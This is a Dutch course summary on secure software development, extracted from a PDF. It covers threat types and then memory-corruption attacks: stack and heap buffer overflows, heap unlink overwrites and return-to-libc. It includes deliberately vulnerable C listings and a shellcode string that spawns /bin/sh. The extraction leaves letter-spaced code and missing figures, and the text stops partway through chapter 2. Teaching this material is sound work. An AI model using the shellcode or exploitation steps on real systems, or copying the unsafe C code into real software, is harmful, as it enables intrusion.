Ontwikkeling van Veilige Software (B-KUL-H04K5A)
Professoren Frank Piessens
Auteurs Dieter Castel Jonas Devlieghere Bijdragers Tibol Leemans Neline van Ginkel
ii
Inhoudsopgave 1 Uitdagingen veilige software 1.1 Motivatie . . . . . . . . . . . . . . . . . 1.1.1 Lessen uit het verleden . . . . . . 1.1.2 Web gerelateerde bedreigingen . 1.1.3 Conclusie . . . . . . . . . . . . . 1.2 Doelen en concepten . . . . . . . . . . . 1.2.1 Bedreigingen en veiligheidsdoelen 1.2.2 Kwetsbaarheden . . . . . . . . . 1.2.3 Tegenmaatregelen . . . . . . . . 1.3 Toepassingen . . . . . . . . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
1 1 1 2 2 3 3 4 5 5
2 Low-Level softwarebeveiliging 2.1 Introductie . . . . . . . . . . . . . 2.1.1 Achtergrond informatie . . 2.2 Aanvalsvoorbeelden . . . . . . . . 2.2.1 Stack-based buffer overflow 2.2.2 Heap-based buffer overflow 2.2.3 Return-to-libc attacks . . . 2.2.4 Data-only attacks . . . . . 2.3 Verdedigings voorbeelden . . . . . 2.3.1 Stack canaries . . . . . . . 2.3.2 Non-executable data . . . . 2.3.3 Control-flow integrity . . . 2.3.4 Layout randomization . . . 2.4 Conclusie . . . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
7 7 7 9 9 11 14 19 20 20 20 21 21 21
. . . . . . . .
23 23 23 23 24 24 24 25 26
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
3 Authenticatie en toegangscontrole 3.1 Inleiding . . . . . . . . . . . . . . . . . . . . 3.1.1 Algemeen model . . . . . . . . . . . 3.1.2 Principal . . . . . . . . . . . . . . . 3.1.3 Guard . . . . . . . . . . . . . . . . . 3.2 Klassieke modellen toegangscontrole . . . . 3.2.1 Discretionary Access Control (DAC) 3.2.2 Mandatory Access Control (MAC) . 3.2.3 Role-Based Access Control (RBAC) iii
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
iv
INHOUDSOPGAVE
3.3
3.4 3.5
3.2.4 Andere modellen voor toegangscontrole Toegangscontrole voor code . . . . . . . . . . . 3.3.1 Terminologie . . . . . . . . . . . . . . . 3.3.2 Stack Walking . . . . . . . . . . . . . . Conclusie . . . . . . . . . . . . . . . . . . . . . Windows toegangscontrole en authenticatie . . 3.5.1 Logon Session . . . . . . . . . . . . . . . 3.5.2 Access Token . . . . . . . . . . . . . . . 3.5.3 Windows Security Descriptor . . . . . . 3.5.4 Caching . . . . . . . . . . . . . . . . . . 3.5.5 Toegangcontrole in applicaties . . . . . 3.5.6 Running least privilege . . . . . . . . . . 3.5.7 Windows Vista’s integriteitsbescherming
4 Webapplicaties 4.1 Het webplatform . . . . . . . . . 4.1.1 HTTP . . . . . . . . . . . 4.1.2 De browser . . . . . . . . 4.2 Bedreigingsscenario’s . . . . . . . 4.2.1 Scenario’s . . . . . . . . . 4.3 Kwetsbaarheden en maatregelen 4.3.1 Session handling . . . . . 4.3.2 Clickjacking . . . . . . . . 4.3.3 SQL injectie . . . . . . . . 4.3.4 Scripts . . . . . . . . . . . 4.3.5 Andere . . . . . . . . . . 4.4 Conclusies . . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
28 28 28 28 30 30 30 31 31 31 32 32 32
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
33 33 33 34 35 35 36 36 38 38 40 41 41
5 Conclusie 5.1 Beveiliging in de softwarecyclus . . . . 5.2 Bedreigingsmodellering . . . . . . . . . 5.2.1 Define Use Scenarios . . . . . . 5.2.2 List External Dependencies . . 5.2.3 Define Security Assumptions . 5.2.4 Create External Security Notes 5.2.5 Model the Application . . . . . 5.2.6 Determine Threat Types . . . . 5.2.7 Identify Threats . . . . . . . . 5.2.8 Determine Risk . . . . . . . . . 5.2.9 Plan Mitigations . . . . . . . . 5.3 Principes, patronen en richtlijnen . . . 5.3.1 Principes . . . . . . . . . . . . 5.3.2 Patronen . . . . . . . . . . . . 5.3.3 Richtlijnen . . . . . . . . . . . 5.4 Conclusie . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
43 43 43 44 44 44 44 45 47 47 47 49 50 50 50 51 52
. . . . . . . . . . . .
. . . . . . . . . . . .
Preface This document features a concise summary (in Dutch) of the slides from the Course Secure Software Development (Ontwikkeling van Veilige Software) by Professor Frank Piessens. The homepage of the course is located at http://people.cs.kuleuven.be/~frank.piessens/OVS/ The source and latest version of this document is located at https://github.com/KULeuven-CS/ OVS/. We encourage future readers to contribute to the development of this document. This document is provided “as is”, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with this document or the use or other dealings in this document.
v
vi
INHOUDSOPGAVE
Hoofdstuk 1
Uitdagingen veilige software 1.1
Motivatie
De laatste jaren zien we een enorme toename in de aanwezigheid van hard- en software. Zo waren er in 2003 al 670 miljoen computers, in 2005 reeds twee miljard mobiele telefoons en meer dan tien miljard smart cards. Daarnaast merken we dat we meer en meer afhankelijk worden van software met de opkomst van E-services zoals E-business, E-government en E-health. Gelijklopend merken we een toename van connectiviteit. Meer en meer apparaten zijn verbonden met het internet, al dan niet draadloos. Deze opkomst zorgt ervoor dat applicaties soms door miljoenen gebruikers tegelijk worden gebruikt. Dergelijke webapplicaties, zoals de services geleverd door Amazon en Google vormen momenteel ´e´en van de belangrijkste klasse applicaties. Tenslotte merken we dat computers meer en meer ondersteuning bieden voor software van derde partijen. Hoewel dit ´e´en van de succesfactoren was voor het succes van de personal computer, speelde dit ook een sleutelrol in veel van diens veiligheidsproblemen. Embedded devices (telefoons, auto’s, set-top boxes) bieden vaak de mogelijkheid om software te installeren wat leidt tot een zeker risico wat veilige software betreft.
1.1.1
Lessen uit het verleden
Uit het verleden hebben we volgende lessen kunnen trekken: • Ondersteuning voor softwaremobiliteit verhoogt het risico. bv. virussen (= codefragment dat andere programma’s kan infecteren) • Softwaremobiliteit + connectiviteit: nog erger! bv. wormen (= zelf replicerend virus. Verspreidt zich zonder interactie van de gebruiker.) • Verbonden applicaties zijn moeilijk te beveiligen. bv defacements, phishing, incidenten
1
2
HOOFDSTUK 1. UITDAGINGEN VEILIGE SOFTWARE
1.1.2
Web gerelateerde bedreigingen
Tot ongeveer 10 jaar geleden richtten aanvallers zich doorgaans op infrastructurele software zoals besturingssystemen of servers. Met de toename in verbondenheid zien we dat aanvallen zich vaker en vaker richten op webapplicaties. Hier volgen enkele nieuwe trends die dit met zich mee heeft gebracht. Defacement Defacement is vergelijkbaar met grafitti op het internet. De aanvaller wijzigt of vervangt de webpagina om zijn aanwezigheid kenbaar te maken. Phishing Phishing is een combinatie van social engineering en spoofing. Het doel is het stelen van persoonlijke data zoals bankgegevens. Met deze gegevens kan de aanvaller toegang krijgen tot applicaties onder de naam van het slachtoffer. Drive-By-Downloads Kwaadwillige webservers maken gebruik van kwetsbaarheden om malware te installeren op de computer van de gebruiker. Tracking Allerhande technieken die worden gebruik om bezoeken aan websites te correleren aan een gebruiker. Naast bovenvermelde bedreiging doen zich dagelijks incidenten voor op het internet. Enkele voorbeelden zijn het lekken van kredietkaart gegevens, klanten die producten aan een fractie van de prijs kopen of gedistribueerde Denial of Service aanvallen die websites onbruikbaar maken door deze te flooden met requests. Browser De browser moet HTML weergeven, JavaScript en plugins uitvoeren en verschillende protocols en API’s ondersteunen. Elk van deze taken brengt een risico met zich mee. Bovendien dient de browser isolatie te voorzien tussen inhoud van verschillende bronnen. De browser gedraagt zich als een soort besturingssysteem voor de webomgeving. HTTP Hoewel dit een eenvoudig protocol is laat het toe arbitrair complexe dingen te doen. Het is standaard stateless maar er zijn verschillende mechanismen om dit te veranderen. Daarnaast stelt men een snelle toename van header -velden vast die elk hun eigen standaard vereisten. Dit is slechts ´e´en van de vele web protocols.
1.1.3
Conclusie
Verschillende niet te stoppen trends zoals de toename van computers, connectiviteit, ondersteuning voor softwaremobiliteit en de wereldwijde beschikbaarheid van applicaties maken twee vragen zeer relevant: • Hoe ontwikkelen we een veilig systeem voor computers? • Hoe ontwikkelen we veilige applicaties?
1.2. DOELEN EN CONCEPTEN
1.2
3
Doelen en concepten
Software doet vaak dienst als een enabler van functionaliteit, maar nieuwe functionaliteit komt met een zeker risico. Beveiliging draait rond het beheren van dit risico.
1.2.1
Bedreigingen en veiligheidsdoelen
Op het eerste zicht zijn bedreiging en veiligheidsdoelen elkaars ontkenning. Een veiligheidsdoel is een intentieverklaring om gekende bedreigingen tegen te gaan. Een bedreiging is een intentie van een agent om een doelstelling van de verdediger te breken. Een lijst met bedreigingstypes en de bijhorende veiligheidsgerelateerde doelen: Information disclosure Het lekken van informatie naar de bedreigingsagent die geen toegang hoort te hebben tot deze informatie. Een voorbeeld hiervan is het stelen van kredietkaartnummers. • Data Confidentiality Het beschermen van de data tegen het ongeautoriseerd lezen ervan. • Access Control Het voorkomen van ongeautoriseerde toegang tot softwareonderdelen. Information tampering De bedreigingsagenten knoeien met data waarvan zij het recht niet hebben om deze te wijzigen. Een voorbeeld is het aanpassen van de prijzen van gekochte goederen. • Data Integrity Beschermen van data tegen ongeautoriseerd schrijven. • Data Origin Authentication Verifi¨eren van de geclaimde identiteit van de verzender van een bericht. • Access Control Het voorkomen van ongeautoriseerde toegang tot softwareonderdelen. Repudiation Het ontkennen van betrokkenheid bij een gebeurtenis door de bedreigingsagent. Een voorbeeld is het ontkennen van het plaatsen van een aandelenorder. • Non-Repudiation Verstrekken van onweerlegbaar bewijs over wat gebeurt is en wie of wat daarbij betrokken was. • Audit Chronologische verslag van systeemactiviteiten om toe te laten gebeurtenissen te reconstrueren. Denial of Service De bedreigingsagent vernietigt de bruikbaarheid van een systeem voor legitieme gebruikers. Bijvoorbeeld door een gedistribueerde flood attack. • Availability Waarborgen van beschikbaarheid van het systeem voor legitieme gebruikers.
4
HOOFDSTUK 1. UITDAGINGEN VEILIGE SOFTWARE
Elevation of privilege De bedreigingsagent krijgt meer toegang tot informatie, communicatie of rekenmiddelen dan waartoe hij is geautoriseerd. Een voorbeeld hiervan is het verkrijgen van root privileges. • Access Control Het voorkomen van ongeautoriseerde toegang tot softwareonderdelen. • Entity Authentication Verifi¨eren van de geclaimde identiteit van de partij waarmee er interactie plaatsvindt. Spoofing De bedreigingsagent doet zich voor als iets of iemand die hij niet is. Een voorbeeld hiervan is phishing. • Entity Authentication Verifi¨eren van de geclaimde identiteit van de partij waarmee er interactie plaatsvindt. • Data Origin Authentication Verifi¨eren van de geclaimde identiteit van de verzender van een bericht.
1.2.2
Kwetsbaarheden
Een kwetsbaarheid is een een aspect van een component of systeem dat een bedreigingsagent toelaat om een bedreiging te realiseren. Dit betekent dat kwetsbaarheden relatief zijn ten opzichte van de agent. Zo kan een systeem bijvoorbeeld niet kwetsbaar zijn voor een buitenstaander maar wel voor een insider. Bovendien komen kwetsbaarheden voor in verschillende lagen van het software systeem. Kwetsbaarheden ontstaan door fouten bij de: • Vereisten – Niet slagen in het identificeren van alle relevante assets of bedreigingen. Het verhinderen van downloaden van kwaadaardige code werd niet gezien als een vereiste voor besturingssystemen in de jaren ’80. • Constructie – Kwetsbaarheden in veiligheidscomponenten Een zwak cryptografisch algoritme – Kwetsbaarheden in functionaliteit Buffer overflows, SQL injection • Werking – Kiezen van een foute policy
1.3. TOEPASSINGEN
1.2.3
5
Tegenmaatregelen
Tegenmaatregelen worden gedefinieerd als het mechanisme om kwetsbaarheden te reduceren en daarbij doelstellingen te realiseren en bedreigingen te verijdelen. Tegenmaatregelen kunnen op drie manieren worden genomen: • Preventief om een kwetsbaarheid te voorkomen. • Opsporend om een kwetsbaarheid en dienst uitbuiting op te sporen. • Reactief om een incident af te handelen. Zowel de software ingenieur die de software ontwerpt als de beheerder die de software uitrolt kunnen tegenmaatregelen nemen. Software ingenieur Om kwetsbaarheden die ontstaan tijdens de vereistefase tot het minimum te beperken, kan de ingenieur veiligheidsvereisten en bedreigingen modelleren en analyseren. Deze kunnen dan worden voorkomen door gebruikt te maken van beveiligingstechnologie¨ n zoals cryptografie, toegangscontrole, authentificatie. Voor kwetsbaarheden die ontstaan tijdens de ontwikkeling, kan gebruik gemaakt worden van secure programming, static analysis en veilige talen. Kwetsbaarheden tijdens de uitvoering kunnen worden voorkomen door goede documentatie, veilige standaardwaarden en operationele procedures. Administrator Preventieve tegenmaatregelen kunnen door de beheerder worden genomen door kwetsbaarheden te verhelpen en bijkomende beveiliging te voorzien zoals firewalls en VPN’s. Opsporende tegenmaatregelen kunnen bestaan uit het voorzien van Intrusion of Fraud Detection software. Het de taak van de beheerder om beveilingsoplossingen te voorzien om reactieve tegenmaatregelen te ondersteunen.
1.3
Toepassingen
Het beveiligen van software komt neer op het reduceren van het aantal kwetsbaarheden. Hierbij geven we voorkeur aan diegenen die het grootste risico vormen. Het is daarom van belang een idee te hebben welke kwetsbaarheden het meest relevant zijn in de realiteit. Verschillende websites bieden een overzicht van kwetsbaarheden met statistieken, abstracties en gekende varianten. • The Common Vulnerabilities and Exposures dictionary • The Common Weaknesses Enumeration • The Open Web Application Security Project Aan de hand van statistieken over 2001 t.e.m. 2006 merken we dat de top 3 bestaat uit: • Buffer overflow • SQL injection
6
HOOFDSTUK 1. UITDAGINGEN VEILIGE SOFTWARE • Cross site scripting
We kunnen bovendien vaststellen dat 8/10 van de kwetsbaarheden te maken hebben met het valideren van in- en uitvoer en defensief programmeren. Dit betekent dat softwarebeveiliging sterk gekoppeld is aan softwarekwaliteit. Een tweede vaststelling is dat 2/3 van de kwetsbaarheden zich in de applicatielaag bevindt. Het aandeel hiervan is alleen maar toegenomen in de laatste jaren. Het beveiligen van applicaties zal dan ook centraal komen te staan de komende jaren. Tenslotte merken we op dat kwetsbaarheden in termen van populariteit komen en gaan. Het beveiligen van software is dan ook een voortdurend proces.
Hoofdstuk 2
Low-Level softwarebeveiliging 2.1
Introductie
Een implementation-level software vulnerability is een fout in een programma die door een aanvaller kan worden misbruikt. In dit hoofdstuk hebben we het concreet over memory corruption vulnerabilies. Deze zwakheden zijn enkel relevant voor onveilige talen. Dat zijn programmeertalen die niet controleren of programma’s het geheugen correct gebruiken. Hieronder staat een voorbeeld in ANSI C in listing 2.1. Omdat er nergens de lengte van de input argumenten wordt nagekeken kan men in geheugen schrijven waar dat niet zou mogen. Op die manier kan er arbitraire code worden uitgevoerd (een code injection attack ). 1 2 3 4 5 6
i n t u n s a f e ( char∗ a , char∗ b ) { char t [MAX LEN ] ; // A l l o c a t e memory f o r MAX LEN c h a r s f o r v a r i a b l e t strcpy ( t , a) ; // copy s t r i n g a i n t o t strcat ( t , b) ; // c o n c a t e n a t e b t o t h e end o f t return strcmp ( t , ” abc ” ) ; // r e t u r n t h e r e s u l t o f comparison }
code//intro example.c
2.1.1
Achtergrond informatie
Er kan op verschillende manieren geheugen gealloceerd worden in C: Automatisch via locale variablen in functies. Statisch via globale variablen. Dynamisch via void *malloc(size_t size); en new. De programmeur is verantwoordelijk voor dit geheugenbeheer van het alloceren tot het de-alloceren. Figuur 2.1 geeft de process memory layout weer van een programma. Hierbij groeit de heap naar boven (hogere adressen) en de stack naar onder (lagere adressen). Indien de voorbeeld code 2.1 wordt ge¨exploiteerd bevind de geinjecteerde code zich in de Stack. Memory management in C is zeer fout-gevoelig typische bugs zijn o.a.: • Writing past the bound of array (zoals in listing 2.1) 7
8
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING
Figuur 2.1: Typische geheugen layout met bovenaan hoge adressen. De stack groeit van hoge naar lage adressen en de heap van lage naar hoge adressen.
2.2. AANVALSVOORBEELDEN
9
• Dangling pointers (pointers die niet naar een geldig object wijzen.) • Double freeing (Twee keer free() aanroepen zodat nog gebruikt geheughen als ongebruikt wordt gemarkeert). • Memory leaks (Stukken geheugen zijn niet correct vrijgegeven.) Om effici¨entie redenen worden deze fouten in C niet at run time gededecteert. Om onveilige code aan te vallen moet een aanvaller hetvolgende doen: • Een bug vinden die memory safety breekt. – Buffer overflow – Dereference van dangling pointer – Gebruik van onveilige API functie. Die ofwel een buffer overflowt (e.g. strcpy() ofwel intrinsiek onveilig geimplementeerd is in assembly (e.g. printf() • Een interessante geheugenplaats vinden om te overschrijven. – Code adressen/pointers: Return address, Function pointer in Virtual function table, Programma specifieke fuction pointers – Pointers waar de aanvaller kan controleren wat er wordt geschreven als die dereferenced raakt (= Indirect pointer overwrite): redirect de pointer naar een andere interessante locatie en schrijf dan daar een zekere waarde. • Aanvalscode in het geheugen van het process plaatsen.
2.2 2.2.1
Aanvalsvoorbeelden Stack-based buffer overflow
De stack is een geheugengebied dat wordt gebruikt om functie-oproepen en returns at run time te beheren. Per oproep wordt er een activation record of stack frame op de stack gepusht. Daarin zitten parameters, return address, lokale variablen, . . . Het is eenvoudig in te zien dat als er nu een lokale variable kan worden overflowt dat er interessante geheugenplaatsen ter beschikking komen. In de onderstaande figuren leggen we een typisch Stack Based Buffer Overflow uit. Opgelet: ook hier weer veronderstellen we dat bovenaan hoge addressen staan en dus overflowt een buffer naar boven. In figuur 2.3 tonen we een normale (niet aangevallen) stack waarbij het laatste stackframe dat van functie f0 is. De instructiepointer (IP) aan het begin van f0 staat en de (Saved) Frame Pointer ((S)FP) en Stack Pointer (SP) staan aangeduid. Vervolgens in figuur ?? wordt functie f1 opgeroepen. Een nieuw stackframe wordt op de stack gepusht. Let erop dat in dit frame het return address nu wijst naar code net onder de call naar f1. De SFP wijst naar het frame van f0 en er daarachter plaats is voorzien voor de lokale variable buffer[]. De stackpointer wijst natuurlijk net voorbij het frame van f1. In deze figuur wordt de overflow aangeduid. Als er geen bounds check gebeurd kan de buffer blijven groeien en zo eerst de SFP, en dan het return address overschrijven. Door nu in het buffer uitvoerbare code te steken en het return address naar die code te doen verwijzen kan het
10
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING
Figuur 2.2: Stack layout als de laatst opgeroepen functie f0 is.
Figuur 2.3: Stack layout na call van functie f1.
2.2. AANVALSVOORBEELDEN
11
Figuur 2.4: Stack layout na buffer overflow attack op de lokale variable buffer in functie f1. programma volledig worden gecontroleerd. Het voorbeeld uit de introductie (zie listing 2.1) is een goed voorbeeld van een programma kwetsbaar voor een buffer overflow attack. Code die vaak wordt gebruikt om te injecteren is het starten van een nieuwe shell. Om dit te doen wordt er zogenaamde shellcode gebruikt. Dit is een string van hexadecimale codes die dan worden geinterpreteerd als programma code. Hieronder vind u een voorbeeld die op Linux systemen met een intel x86 architectuur kan gebruikt worden om de sh shell te starten. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd \x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffbin/sh"
Om een stack based buffer overflow werkend te krijgen zijn er heel veel details waar de aanvaller rekening mee moet houden.
2.2.2
Heap-based buffer overflow
Soms bevatten programma’s enkel een overflowbare buffer die op de heap gealloceerd is. Bijvoorbeeld globaal gedeclareerde structuren. Aangezien die zich niet op de stack bevinden is er geen return address in de nabijheid. Wel zijn er andere manieren om toch een succesvolle code injection aanval te doen waarvan we er hier twee bekijken: overschrijven van een function pointer en het overschrijven van heap metadata.
12
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING geheugenplaats (hex) Geheugen waarde (hex) Character (string representatie)
0x0035307b 00 n/a
0x0035307a 66 f
0x00353079 64 d
0x00353078 73 s
Overwriting function pointer Listing 2.2.2 toont een programma dat kwetsbaar is voor een heap based buffer overflow door middel van een function pointer te overschrijven. 1 2 3 4 5
// D e c l a r e s t r u c t r e s i d i n g on t h e heap . typedef struct v u l n e r a b l e s t r u c t { char b u f f [MAX LEN ] ; i n t ( ∗ cmp ) ( char ∗ , char ∗ ) ; } vulnerable ;
6 7 8 9 10 11 12
i n t i s f i l e f o o b e r u s i n g h e a p ( v u l n e r a b l e ∗ s , char∗ one , char∗ two ) { // must have s t r l e n ( one + s t r l e n ( two ) < MAX LEN) s t r c p y ( s−>b u f f , one ) ; s t r c a t ( s−>b u f f , two ) ; return s−>cmp ( s−>b u f f , ” f i l e : / / f o o b a r ” ) ; }
code//heapBO.c Figuur 2.5 toont hoe de vulnerability wordt uitgebuit. In (a) zien we de opeenvolgende adressen van de struct en de waardes die ze initieel krijgen toegekend. In (b) zien we hoe er een overflow kan worden gerealiseerd die cmp overschrijft. Let hierbij op het feit dat de waardes in Little Endian worden opgeslagen. Dit betekend dat de eerste byte van een geheugenlocatie de meest rechtse positie krijgt. We kunnen dit makkelijk zien door het einde van het voorbeeld (b) te bekijken. De laatste drie characters van de string zijn “sdf”. We weten dat “s” overeenkomt met het hexadecimale “73”, d met “64” en f met “66”. Als we nu naar de geheugen locatie van cmp (0x00353078 ) kijken dan vinden we daar 0x00666473. Tabel Overwriting heap metadata De heap wordt gebruikt om dynamisch gealloceerde data op te slaam. Met functies zoals malloc() worden er dynamisch geheugenblokken gealloceerd en gedealloceerd met free(). De meest memory allocation libraries onthouden metadata voor of achter gebruikte blokken. Een gevolg daarvan is dat buffer overruns op de heap deze management informatie kunnen overschrijven. Dit maakt een indirect pointer overwrite aanval mogelijk. Om de aanval te begrijpen kijken we eerst naar hoe de heap er uit ziet in het normale geval. In figuur 2.6 vinden we hoe een gebruikt blok en een leeg blok eruit zien. De lege blokken worden onthouden door ze als dubbel gelinkte lijst te gebruiken. Achteraan elk blok wordt een backward pointer, forward pointer en wat andere informatie (groote bvb) bijgehouden. Als een blok gebruikt wordt dan wordt het uit de lijst gehaald door de backward pointer twaalf plaatsen verder te schrijven dan naar waar de forward pointer wijst (en omgekeerd voor de forward pointer). Het idee is nu om dit feit uit te buiten door het unlink mechanisme te gebruiken om het return address van een functie op de stack te vervangen. In figure 2.9 wordt er in blok d een buffer geoverflowt zodat de forward en backward pointer van c kunnen overschreven worden. Concreet gebeurdt
2.2. AANVALSVOORBEELDEN
13
Figuur 2.5: Stack layout na buffer overflow attack op de lokale variable buffer in functie f1.
Figuur 2.6: Normaal geval in de heap als het lege blok c wordt gebruikt en dus unlinked wordt van de double linked list met vrije blokken.
14
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING
Figuur 2.7: Buffer overflow op de heap in actie. Een buffer in blok d wordt overflowt (naar boven in deze figuur) tot in het lege blok c. dat door de backward pointer (groen) te doen wijzen naar in de buffer waar de geinjecteerde code staat. De forward pointer van c moet dan wijzen naar twaalf plaatsen onder (er wordt immers bij het unlinken twaalf plaatsen hoger geschreven) het return address (RA) van een functie. Het eigenlijke resultaat is dat te bezichtigen in 2.10. Van zodra blok c wordt gebruikt zal de aanval opgezet zijn. Het return address van een zekere functie zal dan immers wijzen naar de geinjecteerde code. Van zodra die functie dan returnt zal bijvoorbeeld de shell code worden uitgevoerd. Deze aanval wordt ook wel een indirect pointer overwrite genoemd. De aanval is breed inzetbaar in verschillende situaties. Een programma is kwetsbaar voor zo’n aanval als het drie elementen bevat: • Een bug die toelaat een pointer te overschrijven. • Die pointer wordt later gedereferenced om te schrijven. • En de waarde die geschreven wordt kan worden gecontroleerd door de attacker.
2.2.3
Return-to-libc attacks
Tot nu toe hebben we altijd rechtstreek code kunnen injecteren in een buffer. Dit is niet altijd mogelijk aangezien er een countermeasures kunnen genomen worden om dit te voorkomen. Wel bestaan er dan Indirect code injection attacks die het programma sturen door het manipuleren van de stack. Dit maakt het mogelijk om stukken code uit te voeren die al in het geheugen zitten en meestal is er zo’n code beschikbaar bvb. libc.
2.2. AANVALSVOORBEELDEN
15
Figuur 2.8: Resultaat van een indirect pointer overwrite door middel van een buffer overflow op de heap.
Figuur 2.9: Buffer overflow op de heap in actie. Een buffer in blok d wordt overflowt (naar boven in deze figuur) tot in het lege blok c.
16
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING
Figuur 2.10:
Figuur 2.11: Stack als functie f2 gaat returnen. De Stack Pointer (SP) en Instruction Pointer (IP) zijn aangeduid.
2.2. AANVALSVOORBEELDEN
17
Figuur 2.12: Stack als functie f2 gereturned heeft en enkel nog het f1 stackframe op de stack staat.
Figuren 2.11 en 2.12 tonen hoe het returnen uit een functie de stack beinvloed. Aangezien we de werking van de stack begrijpen kunnen we dit gebruiken om de stack na te bootsen. Een nagebootste stack kan gewoon in een buffer wordten opgeslagen. De fake stack kan bijvoorbeeld een functie aanroepen die een shell start of het mogelijk maakt om andere code rechtstreeks te injecteren. Vervoglens moeten we de SP doen wijzen naar de fake stack net voor de return instructie van de actieve functie wordt uitgevoerd. Hiervoor wordt er vaak eerst naar trampoline code gesprongen die dan de stackpointer van locatie kan veranderen afhankelijk van het geinjecteerde address. We bekijken het geval uit listing 2.2.3. In figuur 2.13 vinden we de assembler code van de qsort functie. Let er op dat het register ebx net voor de call op de stack wordt gepusht en dat daarin het address van waar we de nieuwe stack gezet hebben zit. Als de call instructie wordt uitgevoerd wordt er naar locatie 0x7c971649 gesprongen. Op locatie 0x7c971649 vinden we de assembler code in figuur ??. Dit is de trampoline code die gebruikt wordt om de stack pointer te verplaatsen. Deze code bevind zich ergens in het geheugen en komt hier uitstekend van pas om de libc attack uit te voeren. Aangezien in register ebx nog het gewilde address zit wordt de stack pointer (esp) nu verplaatst naar ebx wat dus in ons geval de tmp buffer betekent. Verder wordt er nu een return (ret) gedaan en dus begint het stack-unwinden. Op deze valse stack kan nu elke mogelijke functie met gewilde argumenten worden gezet. Meer uitleg volgt mogelijk nog 1 2 3 4 5 6 7
i n t median ( i n t ∗ data , i n t l e n , void ∗ cmp ) { // must have 0< l e n <= MAX−INTS i n t tmp [MAX−INTS ] ; memcpy ( tmp , data , l e n ∗ s i z e o f ( i n t ) ) ; // copy t h e i n p u t i n t e g e r s q s o r t ( tmp , l e n , s i z e o f ( i n t ) , cmp ) ; // s o r t t h e l o c a l copy return tmp [ l e n / 2 ] ; }
code//libc.c
18
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING
Figuur 2.13: Gedeeltelijke assembler voorstelling van de qsort functie. Het register ebx geven we als waarde de start van de tmp buffer. En comp fp moet de waarde 0x7c971649 hebben zodat er naar de trampoline code wordt gesprongen.
